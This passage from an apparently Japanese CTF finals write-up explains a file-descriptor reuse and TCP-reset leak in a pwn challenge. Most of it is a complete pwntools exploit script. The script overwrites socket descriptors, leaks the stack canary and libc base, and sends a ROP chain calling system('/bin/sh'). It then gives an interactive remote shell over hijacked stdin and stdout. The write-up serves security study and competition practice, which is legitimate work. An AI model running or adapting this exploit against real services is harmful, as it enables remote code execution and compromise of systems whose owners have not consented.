よってリークデータを試みる前に4つのスレッドを作成する必要があり、最終的に2つのスレッドがfdを再利用する状況を作り出す\nleak\rここでTCPリセット攻撃\rの方法を使用する必要がある\n再びfd=4を取得したが、実際には最初に作成したスレッドはまだ閉じられていない。そのため直接相手にRSTパケットを送信して強制的に接続を切断する。このとき4番目のスレッドが再びfd=4を受け取る（極短時間）。これにより実現されるのは\nTCP接続の復旧。そしてサーバにとっては最初のスレッドの接続が復旧し、さらにスレッド4のfd=1を上書きしたため、スタック上のデータがスレッド4のfd=1に送信され、リークが実現する\nROP\rその後、オーバーフローを利用してROPをどのように行い、インタラクションをどのように行うか？アイデアは上記と似ている:\nスレッドを作成し、上書きを使って1つのfdを閉じる 再度スレッドを作成し、必要なfdと対応するスレッドの制御を取得する 標準入出力を介してインタラクションするため、基本的にリモートシェルを取得できる exp\r1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 import argparse import socket import struct import time import sys from pwn import * parser = argparse.ArgumentParser(description=\u0026#34;Sequential start_conion Exploit\u0026#34;) parser.add_argument( \u0026#34;mode\u0026#34;, choices=[\u0026#34;0\u0026#34;, \u0026#34;1\u0026#34;, \u0026#34;2\u0026#34;, \u0026#34;t\u0026#34;], nargs=\u0026#34;?\u0026#34;, default=\u0026#34;0\u0026#34;, help=\u0026#34;0=local, 1=local+gdb, 2=remote, t=direct process (default:0)\u0026#34;, ) args = parser.parse_args() filename = \u0026#34;./chall\u0026#34; libc_name = \u0026#34;./libc.so.6\u0026#34; arch = \u0026#34;amd64\u0026#34; def VIO_TEXT(x, code=95): return log.info(f\u0026#34;\\x1b[{code}m{x}\\x1b[0m\u0026#34;) def CLEAR_TEXT(x, code=32): return log.success(f\u0026#34;\\x1b[{code}m{x}\\x1b[0m\u0026#34;) def stop(msg=\u0026#34;PAUSE\u0026#34;, code=91): prompt = f\u0026#34;\\n\\x1b[1;{code}m{msg}\\x1b[0m\u0026#34; try: return raw_input(prompt) except EOFError: print(\u0026#34;\u0026#34;) pass context(log_level=\u0026#34;info\u0026#34;, os=\u0026#34;linux\u0026#34;, arch=arch) if args.mode == \u0026#34;1\u0026#34;: context.terminal = [\u0026#34;tmux\u0026#34;, \u0026#34;splitw\u0026#34;, \u0026#34;-h\u0026#34;] elf = ELF(filename, checksec=False) if libc_name: libc = ELF(libc_name, checksec=False) def start_con(): if args.mode in [\u0026#34;0\u0026#34;, \u0026#34;t\u0026#34;]: return remote(\u0026#34;127.0.0.1\u0026#34;, 31337) else: return remote(\u0026#34;172.20.0.2\u0026#34;, 5000) def main(): server_proc = None if args.mode in [\u0026#34;1\u0026#34;]: server_proc = process(filename) # gdb.attach(server_proc, gdbscript=\u0026#34;\u0026#34;\u0026#34; # set follow-fork-mode parent # b *(main+428) # c # \u0026#34;\u0026#34;\u0026#34;) time.sleep(1) # 等待服务端绑定端口 server_proc.interactive() return (\u0026#34;--- Starting Sequential Exploit ---\u0026#34;) # 1. 建立连接并制造竞态/溢出环境 # [s1] fd=4: 发送长度头，然后挂起 s1 = start_con() time.sleep(0.1) # [s2] fd=5: 准备覆盖 s2 = start_con() VIO_TEXT(\u0026#34;Sending size header to s1...\u0026#34;) s1.send(p64(0x100)) time.sleep(0.25) # 必须等待，确保 s1 的线程进入 read(fd, buf, size) 状态 VIO_TEXT(\u0026#34;Sending payload via s2...\u0026#34;) s2.send(p64(0x100)) # s2 发送 payload 覆盖s1的fd s2.send(b\u0026#34;\\x00\u0026#34; * 0x7C + p32(4)) time.sleep(0.5) # stop(\u0026#34;send data from s2\u0026#34;) # 由于socket的分配机制，这里实际分配到的仍然是供给s2的fd，但是不是4，作为缓冲 s3 = start_con() time.sleep(0.1) # stop(\u0026#34;get a new fd\u0026#34;) # fd=4 被重用: 用来接收 Leak s4 = start_con() time.sleep(0.1) VIO_TEXT(\u0026#34;Triggering leak via s4...\u0026#34;) s4.send(p64(0x100)) s4.send(b\u0026#34;\\x00\u0026#34; * 0x7C + p32(1)) time.sleep(0.25) # 2. 触发 RST 以激活漏洞/错误路径 # 这里设置SOLSOCKET为SO_LINGER 并关闭 s1，会导致发送 RST 包 # l_onoff = 1 # l_linger = 0 # 这里可以写struct.pack(\u0026#34;ii\u0026#34;, l_onoff, l_linger) 在64位机器上通常是 8 字节，符合 p32(1)+p32(0) s1.sock.setsockopt( socket.SOL_SOCKET, socket.SO_LINGER,p32(1)+p32(0) ) s1.sock.close() CLEAR_TEXT(\u0026#34;s1 closed with RST\u0026#34;) # 3. 接收并解析 Leak 数据 # 服务端会将栈上0x100字节数据发送回来，其中包含了 Canary 和 libc 地址 try: leak_data = s4.recv(0x100) # stop(\u0026#34;fd 4--\u0026gt;1\u0026#34;) if len(leak_data) \u0026lt; 0x90: log.error(f\u0026#34;Leak failed, received len: {len(leak_data)}\u0026#34;) return canary = u64(leak_data[0x48:0x50]) CLEAR_TEXT(f\u0026#34;Canary: {hex(canary)}\u0026#34;) elf_base = u64(leak_data[0x58:0x60]) - 0x147e CLEAR_TEXT(f\u0026#34;ELF Base: {hex(elf_base)}\u0026#34;) libc_base = u64(leak_data[0x88:0x90]) - 0x9c720 - 900 CLEAR_TEXT(f\u0026#34;Libc Base: {hex(libc_base)}\u0026#34;) libc.address = libc_base except EOFError: log.error(\u0026#34;Unexpected EOF during leak\u0026#34;) return # 4. Get Shell # 通过覆盖实现 关闭 fd 0 和 1 s_temp = start_con() s_temp.send(p64(0x100)) s_temp.send(b\u0026#34;\\x00\u0026#34;*0x7c + p32(0)) time.sleep(0.1) s_temp.close() # 保持连接 s_temp2 = start_con() s_temp2.send(p64(0x100)) s_temp2.send(b\u0026#34;\\x00\u0026#34;*0x7c + p32(1)) time.sleep(0.1) s_temp2.close() # 服务端重新accept了连接分配到了 fd=0, fd=1 # 这样我们就能控制 stdin/stdout ret_addr=elf_base+0x101a, stdin_sock = start_con() stdout_sock = start_con() VIO_TEXT(\u0026#34;Sending ROP chain...\u0026#34;) payload = b\u0026#34;A\u0026#34; * 0x48 payload += flat([ canary, 0xdeadbeef, libc.search(asm(\u0026#39;pop rdi; ret\u0026#39;)).__next__(), libc.search(b\u0026#34;/bin/sh\u0026#34;).__next__(), ret_addr, libc.sym[\u0026#39;system\u0026#39;] ]) stdin_sock.send(p64(len(payload))) time.sleep(0.1) stdin_sock.send(payload) time.sleep(0.1) stdin_sock.sendline(b\u0026#34;ls\u0026#34;) print(stdout_sock.recv(4096)) def listner(): while True: try: print(\u0026#34;\\n\u0026#34;) data = stdout_sock.recv(4096) if data: sys.stdout.buffer.write(data) sys.stdout.flush() except exception: pass t=threading.Thread(target=listner,daemon=True) t.start() while True: cmd = input(\u0026#34;[nan0in27 sh]$ \u0026#34;) stdin_sock.sendline(cmd.encode()) # print(stdout_sock.recv().decode(errors=\u0026#39;ignore\u0026#39;)) if __name__ == \u0026#34;__main__\u0026#34;: main() still in updating\r","date":"2025-12-07T08:18:00Z","image":"https://nan0in27.cn/p/blackhatmea_finals_wp/banner_hu_cc508677bce08672.png","permalink":"https://nan0in27.cn/ja/p/blackhatmea_finals_wp/","title":"blackhatMEA_finals_WP"}]